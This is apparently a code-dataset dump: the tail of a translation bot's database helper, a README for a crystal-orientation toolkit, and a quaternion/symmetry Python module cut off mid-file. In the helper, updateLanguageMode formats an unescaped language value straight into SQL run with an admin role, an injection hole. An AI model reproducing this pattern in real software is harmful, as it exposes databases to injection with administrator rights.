"a33291e9b31d4ffeb37b065d28dd521cac187179", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1536, "license_type": "no_license", "max_line_length": 192, "num_lines": 62, "path": "/microservices/bot/app/src/data.py", "repo_name": "edvardasast/intercom-translate", "src_encoding": "UTF-8", "text": "import requests\nimport json\n\ndataUrl = 'http://data.hasura/v1/query'\n\nheaders = {\n 'X-Hasura-Role': 'admin',\n 'X-Hasura-User-Id': \"1\",\n 'Content-Type': 'application/json'\n}\n\ndef checkTranslateMode(convId):\n payload = {\n \"type\": \"select\",\n \"args\": {\n \"table\": \"translate_mode\",\n \"columns\": [\n \"language\"\n ],\n \"where\": {\n \"conversation_id\": convId\n }\n }\n }\n\n r = requests.post(url=dataUrl, headers=headers, data=json.dumps(payload))\n respObj = r.json()\n if (len(respObj) == 0):\n return 'none'\n\n return respObj[0][\"language\"]\n\n\ndef turnOffTranslate(convId):\n payload = {\n \"type\": \"delete\",\n \"args\": {\n \"table\": \"translate_mode\",\n \"where\": {\n \"conversation_id\": convId\n }\n }\n }\n\n r = requests.post(url=dataUrl, headers=headers, data=json.dumps(payload))\n respObj = r.json()\n\ndef updateLanguageMode(convId, lang):\n sqlString = \"INSERT INTO translate_mode (conversation_id, language) VALUES ({cId}, '{l}') ON CONFLICT (conversation_id) DO UPDATE SET language = '{l}'\".format(cId = str(convId), l = lang)\n print (\"SQLString\")\n print (sqlString)\n payload = {\n \"type\": \"run_sql\",\n \"args\": {\n \"sql\": sqlString\n }\n }\n\n r = requests.post(url=dataUrl, headers=headers, data=json.dumps(payload))\n respObj = r.json()\n print (\"Update/Insert Response: \")\n print (respObj)\n" } ]
5
chakra34/SphericalOrientations
https://github.com/chakra34/SphericalOrientations
5bd73bdc22d1b724ad869776b4976fa32bb9d705
b38c976c3e488b5bfab827d62ad109b0a05840d5
a8f4eedac57020118ab266d1f65005d8e3c9d610
refs/heads/master
2021-07-17T22:52:31.208145
2020-03-16T03:10:18
2020-03-16T03:10:18
97,766,224
1
1
MIT
2017-07-19T22:23:11
2019-09-17T00:57:59
2020-03-16T03:10:19
Python
[ { "alpha_fraction": 0.6684013605117798, "alphanum_fraction": 0.7547876834869385, "avg_line_length": 43.47222137451172, "blob_id": "25a1cf35a69808608667bca9b1050a4ceff06415", "content_id": "2cb444211beeb5b57bd899f0c69b973ad391f270", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4807, "license_type": "permissive", "max_line_length": 306, "num_lines": 108, "path": "/README.md", "repo_name": "chakra34/SphericalOrientations", "src_encoding": "UTF-8", "text": "# SphericalOrientations\n\nAritra Chakraborty, Philip Eisenlohr\n---\n\n## Prerequisites\n\n1. Python 2.7.* # The code is written in Python version 2.7\n2. LaTeX to output images\n3. Python application \"sketch\" for drawing the corresponding unitcell (https://pypi.python.org/pypi/Sketch/0.2)\n\n---\n## Usage\n\n```add_SphericalOrientations.py```\n\nThis code converts a given orientation into the spherical angles as explained in the text, and is based on Zambaldi, Claudio, et al. \"Orientation informed nanoindentation of α-titanium: Indentation pileup in hexagonal metals deforming by prismatic slip.\" Journal of Materials Research 27.1 (2012): 356-367.\nThe exemplary Euler angles are also based on the mentioned paper.\n\nsyntax:\n\nAn example EulerAngles.txt file is given in the \"example\" directory with a set of Euler angles as:\n\n```\n2 header\nEuler angles are taken from \"Zambaldi, Claudio, et al. \"Orientation informed nanoindentation of α-titanium: Indentation pileup in hexagonal metals deforming by prismatic slip. Journal of Materials Research 27.1 (2012): 356-367.\"\n1_eulerangles 2_eulerangles 3_eulerangles\n53.0 66.0 329.0\n107.9 26.0 277.7\n77.3 81.0 261.4\n95.0 86.4 239.4\n186.0 50.8 169.0\n268.3 55.5 89.7\n```\n\nNote: The file shows a format of a typical ASCII file with some 'header' and column labels.\nThe input file needs to be consistent with the prescribed format.\n\nsyntax: (starting in the 'examples' directory)\n\n```../Code/add_SphericalOrientations.py --symmetry hexagonal --eulers eulerangles --degrees EulerAngles.txt```\n\nOnce the above command is executed the new 'EulerAngles.txt' file looks as follows:\n\n```\n3\theader\nEuler angles are taken from \"Zambaldi, Claudio, et al. \"Orientation informed nanoindentation of α-titanium: Indentation pileup in hexagonal metals deforming by prismatic slip. Journal of Materials Research 27.1 (2012): 356-367.\"\n$Id: add_SphericalOrientations.py 61 2015-09-12 17:53:29Z chakra34 $\t--symmetry hexagonal --eulers eulerangles --degrees\n1_eulerangles\t2_eulerangles\t3_eulerangles\t1_SphericalEulers\t2_SphericalEulers\t3_SphericalEulers\n53.0\t66.0\t329.0\t1.0\t66.0\t-142.0\n107.9\t26.0\t277.7\t52.3\t26.0\t-145.6\n77.3\t81.0\t261.4\t8.6\t81.0\t-158.7\n95.0\t86.4\t239.4\t30.6\t86.4\t-154.4\n186.0\t50.8\t169.0\t41.0\t50.8\t125.0\n268.3\t55.5\t89.7\t0.3\t55.5\t2.0\n```\n\nP.S.: The last three spherical angles are consistent with Table II in the cited paper (Zambaldi et al. 2014).\n\n---\n\n```equidistant_SphericalTriangle.py```\n\nThe above code discretizes a given spherical triangle \n\nsyntax (\"examples\" being the current working directory):\n\nTo see the help options enter:\n\n```../Code/equidistant_SphericalTriangle.py -h```\n\nNote: The vertices of the spherical triangle (corresponding to crystal directions) have to be converted into Cartesian space and entered.\nFor example: When discretizing 'hexagonal' crystal directions the vertices for the standard stereographic triangle would be\n\"--p1 0.0 0.0 1.587 --p2 3.0 0.0 0.0 --p3 1.5 0.86667 0.0\" corresponding to < 0, 0, 0, 1 >, < 2, -1, -1, 0> and < 1, 0, -1, 0 > Miller-Bravais indices respectively.\n\nTo generate examples/figures/equidistant_IPF_degree0.pdf \nenter the following:\n\n```../Code/equidistant_SphericalTriangle.py --sym cubic --p1 0.0 0.0 1.0 --p2 1.0 0.0 1.0 --p3 1.0 1.0 1.0 --degrees 0```\n\nTo generate examples/figures/equidistant_IPF_degree1.pdf \nenter the following:\n\n```../Code/equidistant_SphericalTriangle.py --sym cubic --p1 0.0 0.0 1.0 --p2 1.0 0.0 1.0 --p3 1.0 1.0 1.0 --degrees 1```\n\nTo generate examples/figures/equidistant_IPF_degree2.pdf \nenter the following:\n\n```../Code/equidistant_SphericalTriangle.py --sym cubic --p1 0.0 0.0 1.0 --p2 1.0 0.0 1.0 --p3 1.0 1.0 1.0 --degrees 2```\n\nOnce either of the command is executed a directory named \"equidistant\" will be created in the current working directory.\nCompile the \"equidistant_IPF.tex\" file to generate the figure.\n\nNote: LaTeX is a prerequisite for this.\n\nTo generate examples/figures/example_hexagonal_unitcell.pdf\nexecute the following:\n\n```../Code/equidistant_SphericalTriangle.py --symm hexagonal --p1 0.0 0.0 1.0 --p2 1.0 0. 0. --p3 1.5 0.8667 0.0 --degrees 2 --unitcell```\n\nand compile the \"equidistant_IPF.tex\" file generated in the newly created folder \"equidistant\"\n\nNote: LaTeX and sketch are prerequisites for this.\nThe utility functions are all obtained from \"https://damask.mpie.de\" which provides a useful package to perform\ncrystal plasticity simulations along with various built in pre and post processing scripts.\nReading: https://www.researchgate.net/profile/Philip_Eisenlohr/publication/320471526_Consistent_visualization_and_uniform_sampling_of_crystallographic_directions/links/59e75dfc4585152d5f04e5ff/Consistent-visualization-and-uniform-sampling-of-crystallographic-directions.pdf\n\nThe above is a researchgate article with a valid doi (in case citation is required).\n\n" }, { "alpha_fraction": 0.3222958445549011, "alphanum_fraction": 0.3733338415622711, "avg_line_length": 40.873294830322266, "blob_id": "aa003d8d3660b95f79bb4fdb3e787381b9728415", "content_id": "e8d05bb060da050b68bded1dbe22f2695af9c58d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 52216, "license_type": "permissive", "max_line_length": 158, "num_lines": 1247, "path": "/Code/Spherical/orientation.py", "repo_name": "chakra34/SphericalOrientations", "src_encoding": "UTF-8", "text": "# -*- coding: UTF-8 no BOM -*-\n\n# obtained from https://damask.mpie.de #\n\n###################################################\n# NOTE: everything here needs to be a np array #\n###################################################\n\nimport math,os\nimport numpy as np\n\n# ******************************************************************************************\nclass Rodrigues:\n\n def __init__(self, vector = np.zeros(3)):\n self.vector = vector\n\n def asQuaternion(self):\n norm = np.linalg.norm(self.vector)\n halfAngle = np.arctan(norm)\n return Quaternion(np.cos(halfAngle),np.sin(halfAngle)*self.vector/norm)\n\n def asAngleAxis(self):\n norm = np.linalg.norm(self.vector)\n halfAngle = np.arctan(norm)\n return (2.0*halfAngle,self.vector/norm)\n\n\n\n# ******************************************************************************************\nclass Quaternion:\n \"\"\"\n Orientation represented as unit quaternion\n \n All methods and naming conventions based on http://www.euclideanspace.com/maths/algebra/realNormedAlgebra/quaternions\n\n w is the real part, (x, y, z) are the imaginary parts\n Representation of rotation is in ACTIVE form!\n (derived directly or through angleAxis, Euler angles, or active matrix)\n vector \"a\" (defined in coordinate system \"A\") is actively rotated to new coordinates \"b\"\n b = Q * a\n b = np.dot(Q.asMatrix(),a)\n \"\"\"\n\n def __init__(self,\n quatArray = [1.0,0.0,0.0,0.0]):\n \"\"\"initializes to identity if not given\"\"\"\n self.w, \\\n self.x, \\\n self.y, \\\n self.z = quatArray\n self.homomorph()\n\n def __iter__(self):\n \"\"\"components\"\"\"\n return iter([self.w,self.x,self.y,self.z])\n\n def __copy__(self):\n \"\"\"create copy\"\"\"\n Q = Quaternion([self.w,self.x,self.y,self.z])\n return Q\n\n copy = __copy__\n\n def __repr__(self):\n \"\"\"readbable string\"\"\"\n return 'Quaternion(real=%+.6f, imag=<%+.6f, %+.6f, %+.6f>)' % \\\n (self.w, self.x, self.y, self.z)\n\n def __pow__(self, exponent):\n \"\"\"power\"\"\"\n omega = math.acos(self.w)\n vRescale = math.sin(exponent*omega)/math.sin(omega)\n Q = Quaternion()\n Q.w = math.cos(exponent*omega)\n Q.x = self.x * vRescale\n Q.y = self.y * vRescale\n Q.z = self.z * vRescale\n return Q\n\n def __ipow__(self, exponent):\n \"\"\"in place power\"\"\"\n omega = math.acos(self.w)\n vRescale = math.sin(exponent*omega)/math.sin(omega)\n self.w = np.cos(exponent*omega)\n self.x *= vRescale\n self.y *= vRescale\n self.z *= vRescale\n return self\n\n def __mul__(self, other):\n \"\"\"multiplication\"\"\"\n try: # quaternion\n Aw = self.w\n Ax = self.x\n Ay = self.y\n Az = self.z\n Bw = other.w\n Bx = other.x\n By = other.y\n Bz = other.z\n Q = Quaternion()\n Q.w = - Ax * Bx - Ay * By - Az * Bz + Aw * Bw\n Q.x = + Ax * Bw + Ay * Bz - Az * By + Aw * Bx\n Q.y = - Ax * Bz + Ay * Bw + Az * Bx + Aw * By\n Q.z = + Ax * By - Ay * Bx + Az * Bw + Aw * Bz\n return Q\n except: pass\n try: # vector (perform active rotation, i.e. q*v*q.conjugated)\n w = self.w\n x = self.x\n y = self.y\n z = self.z\n Vx = other[0]\n Vy = other[1]\n Vz = other[2]\n\n return np.array([\\\n w * w * Vx + 2 * y * w * Vz - 2 * z * w * Vy + \\\n x * x * Vx + 2 * y * x * Vy + 2 * z * x * Vz - \\\n z * z * Vx - y * y * Vx,\n 2 * x * y * Vx + y * y * Vy + 2 * z * y * Vz + \\\n 2 * w * z * Vx - z * z * Vy + w * w * Vy - \\\n 2 * x * w * Vz - x * x * Vy,\n 2 * x * z * Vx + 2 * y * z * Vy + \\\n z * z * Vz - 2 * w * y * Vx - y * y * Vz + \\\n 2 * w * x * Vy - x * x * Vz + w * w * Vz ])\n except: pass\n try: # scalar\n Q = self.copy()\n Q.w *= other\n Q.x *= other\n Q.y *= other\n Q.z *= other\n return Q\n except:\n return self.copy()\n\n def __imul__(self, other):\n \"\"\"in place multiplication\"\"\"\n try: # Quaternion\n Ax = self.x\n Ay = self.y\n Az = self.z\n Aw = self.w\n Bx = other.x\n By = other.y\n Bz = other.z\n Bw = other.w\n self.x = Ax * Bw + Ay * Bz - Az * By + Aw * Bx\n self.y = -Ax * Bz + Ay * Bw + Az * Bx + Aw * By\n self.z = Ax * By - Ay * Bx + Az * Bw + Aw * Bz\n self.w = -Ax * Bx - Ay * By - Az * Bz + Aw * Bw\n except: pass\n return self\n\n def __div__(self, other):\n \"\"\"division\"\"\"\n if isinstance(other, (int,float)):\n w = self.w / other\n x = self.x / other\n y = self.y / other\n z = self.z / other\n return self.__class__([w,x,y,z])\n else:\n return NotImplemented\n\n def __idiv__(self, other):\n \"\"\"in place division\"\"\"\n if isinstance(other, (int,float)):\n self.w /= other\n self.x /= other\n self.y /= other\n self.z /= other\n return self\n\n def __add__(self, other):\n \"\"\"addition\"\"\"\n if isinstance(other, Quaternion):\n w = self.w + other.w\n x = self.x + other.x\n y = self.y + other.y\n z = self.z + other.z\n return self.__class__([w,x,y,z])\n else:\n return NotImplemented\n\n def __iadd__(self, other):\n \"\"\"in place division\"\"\"\n if isinstance(other, Quaternion):\n self.w += other.w\n self.x += other.x\n self.y += other.y\n self.z += other.z\n return self\n\n def __sub__(self, other):\n \"\"\"subtraction\"\"\"\n if isinstance(other, Quaternion):\n Q = self.copy()\n Q.w -= other.w\n Q.x -= other.x\n Q.y -= other.y\n Q.z -= other.z\n return Q\n else:\n return self.copy()\n\n def __isub__(self, other):\n \"\"\"in place subtraction\"\"\"\n if isinstance(other, Quaternion):\n self.w -= other.w\n self.x -= other.x\n self.y -= other.y\n self.z -= other.z\n return self\n\n def __neg__(self):\n \"\"\"additive inverse\"\"\"\n self.w = -self.w\n self.x = -self.x\n self.y = -self.y\n self.z = -self.z\n return self\n\n def __abs__(self):\n \"\"\"norm\"\"\"\n return math.sqrt(self.w ** 2 + \\\n self.x ** 2 + \\\n self.y ** 2 + \\\n self.z ** 2)\n\n magnitude = __abs__\n\n def __eq__(self,other):\n \"\"\"equal at e-8 precision\"\"\"\n return (abs(self.w-other.w) < 1e-8 and \\\n abs(self.x-other.x) < 1e-8 and \\\n abs(self.y-other.y) < 1e-8 and \\\n abs(self.z-other.z) < 1e-8) \\\n or \\\n (abs(-self.w-other.w) < 1e-8 and \\\n abs(-self.x-other.x) < 1e-8 and \\\n abs(-self.y-other.y) < 1e-8 and \\\n abs(-self.z-other.z) < 1e-8)\n\n def __ne__(self,other):\n \"\"\"not equal at e-8 precision\"\"\"\n return not self.__eq__(self,other)\n\n def __cmp__(self,other):\n \"\"\"linear ordering\"\"\"\n return cmp(self.Rodrigues(),other.Rodrigues())\n\n def magnitude_squared(self):\n return self.w ** 2 + \\\n self.x ** 2 + \\\n self.y ** 2 + \\\n self.z ** 2\n\n def identity(self):\n self.w = 1.\n self.x = 0.\n self.y = 0.\n self.z = 0.\n return self\n\n def normalize(self):\n d = self.magnitude()\n if d > 0.0:\n self /= d\n return self\n\n def conjugate(self):\n self.x = -self.x\n self.y = -self.y\n self.z = -self.z\n return self\n\n def inverse(self):\n d = self.magnitude()\n if d > 0.0:\n self.conjugate()\n self /= d\n return self\n\n def homomorph(self):\n if self.w < 0.0:\n self.w = -self.w\n self.x = -self.x\n self.y = -self.y\n self.z = -self.z\n return self\n\n def normalized(self):\n return self.copy().normalize()\n\n def conjugated(self):\n return self.copy().conjugate()\n\n def inversed(self):\n return self.copy().inverse()\n\n def homomorphed(self):\n return self.copy().homomorph()\n\n def asList(self):\n return [i for i in self]\n\n def asM(self): # to find Averaging Quaternions (see F. Landis Markley et al.)\n return np.outer([i for i in self],[i for i in self])\n\n def asMatrix(self):\n return np.array(\n [[1.0-2.0*(self.y*self.y+self.z*self.z), 2.0*(self.x*self.y-self.z*self.w), 2.0*(self.x*self.z+self.y*self.w)],\n [ 2.0*(self.x*self.y+self.z*self.w), 1.0-2.0*(self.x*self.x+self.z*self.z), 2.0*(self.y*self.z-self.x*self.w)],\n [ 2.0*(self.x*self.z-self.y*self.w), 2.0*(self.x*self.w+self.y*self.z), 1.0-2.0*(self.x*self.x+self.y*self.y)]])\n\n def asAngleAxis(self,\n degrees = False):\n if self.w > 1:\n self.normalize()\n\n s = math.sqrt(1. - self.w**2)\n x = 2*self.w**2 - 1.\n y = 2*self.w * s\n\n angle = math.atan2(y,x)\n if angle < 0.0:\n angle *= -1.\n s *= -1.\n\n return (np.degrees(angle) if degrees else angle,\n np.array([1.0, 0.0, 0.0] if np.abs(angle) < 1e-6 else [self.x / s, self.y / s, self.z / s]))\n\n def asRodrigues(self):\n return np.inf*np.ones(3) if self.w == 0.0 else np.array([self.x, self.y, self.z])/self.w\n\n def asEulers(self,\n type = \"bunge\",\n degrees = False,\n standardRange = False):\n \"\"\"\n Orientation as Bunge-Euler angles\n\n conversion of ACTIVE rotation to Euler angles taken from:\n Melcher, A.; Unser, A.; Reichhardt, M.; Nestler, B.; Poetschke, M.; Selzer, M.\n Conversion of EBSD data by a quaternion based algorithm to be used for grain structure simulations\n Technische Mechanik 30 (2010) pp 401--413\n \"\"\"\n angles = [0.0,0.0,0.0]\n\n if type.lower() == 'bunge' or type.lower() == 'zxz':\n if abs(self.x) < 1e-4 and abs(self.y) < 1e-4:\n x = self.w**2 - self.z**2\n y = 2.*self.w*self.z\n angles[0] = math.atan2(y,x)\n elif abs(self.w) < 1e-4 and abs(self.z) < 1e-4:\n x = self.x**2 - self.y**2\n y = 2.*self.x*self.y\n angles[0] = math.atan2(y,x)\n angles[1] = math.pi\n else:\n chi = math.sqrt((self.w**2 + self.z**2)*(self.x**2 + self.y**2))\n\n x = (self.w * self.x - self.y * self.z)/2./chi\n y = (self.w * self.y + self.x * self.z)/2./chi\n angles[0] = math.atan2(y,x)\n\n x = self.w**2 + self.z**2 - (self.x**2 + self.y**2)\n y = 2.*chi\n angles[1] = math.atan2(y,x)\n\n x = (self.w * self.x + self.y * self.z)/2./chi\n y = (self.z * self.x - self.y * self.w)/2./chi\n angles[2] = math.atan2(y,x)\n\n if standardRange:\n angles[0] %= 2*math.pi\n if angles[1] < 0.0:\n angles[1] += math.pi\n angles[2] *= -1.0\n angles[2] %= 2*math.pi\n\n return np.degrees(angles) if degrees else angles\n\n\n# # Static constructors\n @classmethod\n def fromIdentity(cls):\n return cls()\n\n\n @classmethod\n def fromRandom(cls,randomSeed = None):\n if randomSeed is None:\n randomSeed = int(os.urandom(4).encode('hex'), 16)\n np.random.seed(randomSeed)\n r = np.random.random(3)\n w = math.cos(2.0*math.pi*r[0])*math.sqrt(r[2])\n x = math.sin(2.0*math.pi*r[1])*math.sqrt(1.0-r[2])\n y = math.cos(2.0*math.pi*r[1])*math.sqrt(1.0-r[2])\n z = math.sin(2.0*math.pi*r[0])*math.sqrt(r[2])\n return cls([w,x,y,z])\n\n\n @classmethod\n def fromRodrigues(cls, rodrigues):\n if not isinstance(rodrigues, np.ndarray): rodrigues = np.array(rodrigues)\n halfangle = math.atan(np.linalg.norm(rodrigues))\n c = math.cos(halfangle)\n w = c\n x,y,z = c*rodrigues\n return cls([w,x,y,z])\n\n\n @classmethod\n def fromAngleAxis(cls,\n angle,\n axis,\n degrees = False):\n if not isinstance(axis, np.ndarray): axis = np.array(axis,dtype='d')\n axis = axis.astype(float)/np.linalg.norm(axis)\n angle = np.radians(angle) if degrees else angle\n s = math.sin(0.5 * angle)\n w = math.cos(0.5 * angle)\n x = axis[0] * s\n y = axis[1] * s\n z = axis[2] * s\n return cls([w,x,y,z])\n\n\n @classmethod\n def fromEulers(cls,\n eulers,\n type = 'Bunge',\n degrees = False):\n if not isinstance(eulers, np.ndarray): eulers = np.array(eulers,dtype='d')\n eulers = np.radians(eulers) if degrees else eulers\n\n c = np.cos(0.5 * eulers)\n s = np.sin(0.5 * eulers)\n\n if type.lower() == 'bunge' or type.lower() == 'zxz':\n w = c[0] * c[1] * c[2] - s[0] * c[1] * s[2]\n x = c[0] * s[1] * c[2] + s[0] * s[1] * s[2]\n y = - c[0] * s[1] * s[2] + s[0] * s[1] * c[2]\n z = c[0] * c[1] * s[2] + s[0] * c[1] * c[2]\n else:\n w = c[0] * c[1] * c[2] - s[0] * s[1] * s[2]\n x = s[0] * s[1] * c[2] + c[0] * c[1] * s[2]\n y = s[0] * c[1] * c[2] + c[0] * s[1] * s[2]\n z = c[0] * s[1] * c[2] - s[0] * c[1] * s[2]\n return cls([w,x,y,z])\n\n\n# Modified Method to calculate Quaternion from Orientation Matrix,\n# Source: http://www.euclideanspace.com/maths/geometry/rotations/conversions/matrixToQuaternion/\n\n @classmethod\n def fromMatrix(cls, m):\n if m.shape != (3,3) and np.prod(m.shape) == 9:\n m = m.reshape(3,3)\n\n tr = np.trace(m)\n if tr > 1e-8:\n s = math.sqrt(tr + 1.0)*2.0\n\n return cls(\n [ s*0.25,\n (m[2,1] - m[1,2])/s,\n (m[0,2] - m[2,0])/s,\n (m[1,0] - m[0,1])/s,\n ])\n\n elif m[0,0] > m[1,1] and m[0,0] > m[2,2]:\n t = m[0,0] - m[1,1] - m[2,2] + 1.0\n s = 2.0*math.sqrt(t)\n\n return cls(\n [ (m[2,1] - m[1,2])/s,\n s*0.25,\n (m[0,1] + m[1,0])/s,\n (m[2,0] + m[0,2])/s,\n ])\n\n elif m[1,1] > m[2,2]:\n t = -m[0,0] + m[1,1] - m[2,2] + 1.0\n s = 2.0*math.sqrt(t)\n\n return cls(\n [ (m[0,2] - m[2,0])/s,\n (m[0,1] + m[1,0])/s,\n s*0.25,\n (m[1,2] + m[2,1])/s,\n ])\n\n else:\n t = -m[0,0] - m[1,1] + m[2,2] + 1.0\n s = 2.0*math.sqrt(t)\n\n return cls(\n [ (m[1,0] - m[0,1])/s,\n (m[2,0] + m[0,2])/s,\n (m[1,2] + m[2,1])/s,\n s*0.25,\n ])\n\n\n @classmethod\n def new_interpolate(cls, q1, q2, t):\n \"\"\"\n interpolation\n \n see http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/20070017872_2007014421.pdf\n for (another?) way to interpolate quaternions\n \"\"\"\n assert isinstance(q1, Quaternion) and isinstance(q2, Quaternion)\n Q = cls()\n\n costheta = q1.w * q2.w + q1.x * q2.x + q1.y * q2.y + q1.z * q2.z\n if costheta < 0.:\n costheta = -costheta\n q1 = q1.conjugated()\n elif costheta > 1:\n costheta = 1\n\n theta = math.acos(costheta)\n if abs(theta) < 0.01:\n Q.w = q2.w\n Q.x = q2.x\n Q.y = q2.y\n Q.z = q2.z\n return Q\n\n sintheta = math.sqrt(1.0 - costheta * costheta)\n if abs(sintheta) < 0.01:\n Q.w = (q1.w + q2.w) * 0.5\n Q.x = (q1.x + q2.x) * 0.5\n Q.y = (q1.y + q2.y) * 0.5\n Q.z = (q1.z + q2.z) * 0.5\n return Q\n\n ratio1 = math.sin((1 - t) * theta) / sintheta\n ratio2 = math.sin(t * theta) / sintheta\n\n Q.w = q1.w * ratio1 + q2.w * ratio2\n Q.x = q1.x * ratio1 + q2.x * ratio2\n Q.y = q1.y * ratio1 + q2.y * ratio2\n Q.z = q1.z * ratio1 + q2.z * ratio2\n return Q\n\n\n# ******************************************************************************************\nclass Symmetry:\n\n lattices = [None,'orthorhombic','tetragonal','hexagonal','cubic',]\n\n def __init__(self, symmetry = None):\n \"\"\"lattice with given symmetry, defaults to None\"\"\"\n if isinstance(symmetry, str) and symmetry.lower() in Symmetry.lattices:\n self.lattice = symmetry.lower()\n else:\n self.lattice = None\n\n\n def __copy__(self):\n \"\"\"copy\"\"\"\n return self.__class__(self.lattice)\n\n copy = __copy__\n\n\n def __repr__(self):\n \"\"\"readbable string\"\"\"\n return '%s' % (self.lattice)\n\n\n def __eq__(self, other):\n \"\"\"equal\"\"\"\n return self.lattice == other.lattice\n\n def __neq__(self, other):\n \"\"\"not equal\"\"\"\n return not self.__eq__(other)\n\n def __cmp__(self,other):\n \"\"\"linear ordering\"\"\"\n return cmp(Symmetry.lattices.index(self.lattice),Symmetry.lattices.index(other.lattice))\n\n def symmetryQuats(self,who = []):\n \"\"\"List of symmetry operations as quaternions.\"\"\"\n if self.lattice == 'cubic':\n symQuats = [\n [ 1.0, 0.0, 0.0, 0.0 ],\n [ 0.0, 1.0, 0.0, 0.0 ],\n [ 0.0, 0.0, 1.0, 0.0 ],\n [ 0.0, 0.0, 0.0, 1.0 ],\n [ 0.0, 0.0, 0.5*math.sqrt(2), 0.5*math.sqrt(2) ],\n [ 0.0, 0.0, 0.5*math.sqrt(2),-0.5*math.sqrt(2) ],\n [ 0.0, 0.5*math.sqrt(2), 0.0, 0.5*math.sqrt(2) ],\n [ 0.0, 0.5*math.sqrt(2), 0.0, -0.5*math.sqrt(2) ],\n [ 0.0, 0.5*math.sqrt(2),-0.5*math.sqrt(2), 0.0 ],\n [ 0.0, -0.5*math.sqrt(2),-0.5*math.sqrt(2), 0.0 ],\n [ 0.5, 0.5, 0.5, 0.5 ],\n [-0.5, 0.5, 0.5, 0.5 ],\n [-0.5, 0.5, 0.5, -0.5 ],\n [-0.5, 0.5, -0.5, 0.5 ],\n [-0.5, -0.5, 0.5, 0.5 ],\n [-0.5, -0.5, 0.5, -0.5 ],\n [-0.5, -0.5, -0.5, 0.5 ],\n [-0.5, 0.5, -0.5, -0.5 ],\n [-0.5*math.sqrt(2), 0.0, 0.0, 0.5*math.sqrt(2) ],\n [ 0.5*math.sqrt(2), 0.0, 0.0, 0.5*math.sqrt(2) ],\n [-0.5*math.sqrt(2), 0.0, 0.5*math.sqrt(2), 0.0 ],\n [-0.5*math.sqrt(2), 0.0, -0.5*math.sqrt(2), 0.0 ],\n [-0.5*math.sqrt(2), 0.5*math.sqrt(2), 0.0, 0.0 ],\n [-0.5*math.sqrt(2),-0.5*math.sqrt(2), 0.0, 0.0 ],\n ]\n elif self.lattice == 'hexagonal':\n symQuats = [\n [ 1.0,0.0,0.0,0.0 ],\n [-0.5*math.sqrt(3), 0.0, 0.0,-0.5 ],\n [ 0.5, 0.0, 0.0, 0.5*math.sqrt(3) ],\n [ 0.0,0.0,0.0,1.0 ],\n [-0.5, 0.0, 0.0, 0.5*math.sqrt(3) ],\n [-0.5*math.sqrt(3), 0.0, 0.0, 0.5 ],\n [ 0.0,1.0,0.0,0.0 ],\n [ 0.0,-0.5*math.sqrt(3), 0.5, 0.0 ],\n [ 0.0, 0.5,-0.5*math.sqrt(3), 0.0 ],\n [ 0.0,0.0,1.0,0.0 ],\n [ 0.0,-0.5,-0.5*math.sqrt(3), 0.0 ],\n [ 0.0, 0.5*math.sqrt(3), 0.5, 0.0 ],\n ]\n elif self.lattice == 'tetragonal':\n symQuats = [\n [ 1.0,0.0,0.0,0.0 ],\n [ 0.0,1.0,0.0,0.0 ],\n [ 0.0,0.0,1.0,0.0 ],\n [ 0.0,0.0,0.0,1.0 ],\n [ 0.0, 0.5*math.sqrt(2), 0.5*math.sqrt(2), 0.0 ],\n [ 0.0,-0.5*math.sqrt(2), 0.5*math.sqrt(2), 0.0 ],\n [ 0.5*math.sqrt(2), 0.0, 0.0, 0.5*math.sqrt(2) ],\n [-0.5*math.sqrt(2), 0.0, 0.0, 0.5*math.sqrt(2) ],\n ]\n elif self.lattice == 'orthorhombic':\n symQuats = [\n [ 1.0,0.0,0.0,0.0 ],\n [ 0.0,1.0,0.0,0.0 ],\n [ 0.0,0.0,1.0,0.0 ],\n [ 0.0,0.0,0.0,1.0 ],\n ]\n else:\n symQuats = [\n [ 1.0,0.0,0.0,0.0 ],\n ]\n\n return list(map(Quaternion,\n np.array(symQuats)[np.atleast_1d(np.array(who)) if who != [] else range(len(symQuats))]))\n \n \n def equivalentQuaternions(self,\n quaternion,\n who = []):\n \"\"\"List of symmetrically equivalent quaternions based on own symmetry.\"\"\"\n return [quaternion*q for q in self.symmetryQuats(who)]\n\n\n def inFZ(self,R):\n \"\"\"Check whether given Rodrigues vector falls into fundamental zone of own symmetry.\"\"\"\n if isinstance(R, Quaternion): R = R.asRodrigues() # translate accidentially passed quaternion\n# fundamental zone in Rodrigues space is point symmetric around origin\n R = abs(R) \n if self.lattice == 'cubic':\n return math.sqrt(2.0)-1.0 >= R[0] \\\n and math.sqrt(2.0)-1.0 >= R[1] \\\n and math.sqrt(2.0)-1.0 >= R[2] \\\n and 1.0 >= R[0] + R[1] + R[2]\n elif self.lattice == 'hexagonal':\n return 1.0 >= R[0] and 1.0 >= R[1] and 1.0 >= R[2] \\\n and 2.0 >= math.sqrt(3)*R[0] + R[1] \\\n and 2.0 >= math.sqrt(3)*R[1] + R[0] \\\n and 2.0 >= math.sqrt(3) + R[2]\n elif self.lattice == 'tetragonal':\n return 1.0 >= R[0] and 1.0 >= R[1] \\\n and math.sqrt(2.0) >= R[0] + R[1] \\\n and math.sqrt(2.0) >= R[2] + 1.0\n elif self.lattice == 'orthorhombic':\n return 1.0 >= R[0] and 1.0 >= R[1] and 1.0 >= R[2]\n else:\n return True\n\n\n def inDisorientationSST(self,R):\n \"\"\"\n Check whether given Rodrigues vector (of misorientation) falls into standard stereographic triangle of own symmetry.\n\n Determination of disorientations follow the work of A. Heinz and P. Neumann:\n Representation of Orientation and Disorientation Data for Cubic, Hexagonal, Tetragonal and Orthorhombic Crystals\n Acta Cryst. (1991). A47, 780-789\n \"\"\"\n if isinstance(R, Quaternion): R = R.asRodrigues() # translate accidentially passed quaternion\n\n epsilon = 0.0\n if self.lattice == 'cubic':\n return R[0] >= R[1]+epsilon and R[1] >= R[2]+epsilon and R[2] >= epsilon\n\n elif self.lattice == 'hexagonal':\n return R[0] >= math.sqrt(3)*(R[1]-epsilon) and R[1] >= epsilon and R[2] >= epsilon\n\n elif self.lattice == 'tetragonal':\n return R[0] >= R[1]-epsilon and R[1] >= epsilon and R[2] >= epsilon\n\n elif self.lattice == 'orthorhombic':\n return R[0] >= epsilon and R[1] >= epsilon and R[2] >= epsilon\n\n else:\n return True\n\n\n def inSST(self,\n vector,\n proper = False,\n color = False):\n \"\"\"\n Check whether given vector falls into standard stereographic triangle of own 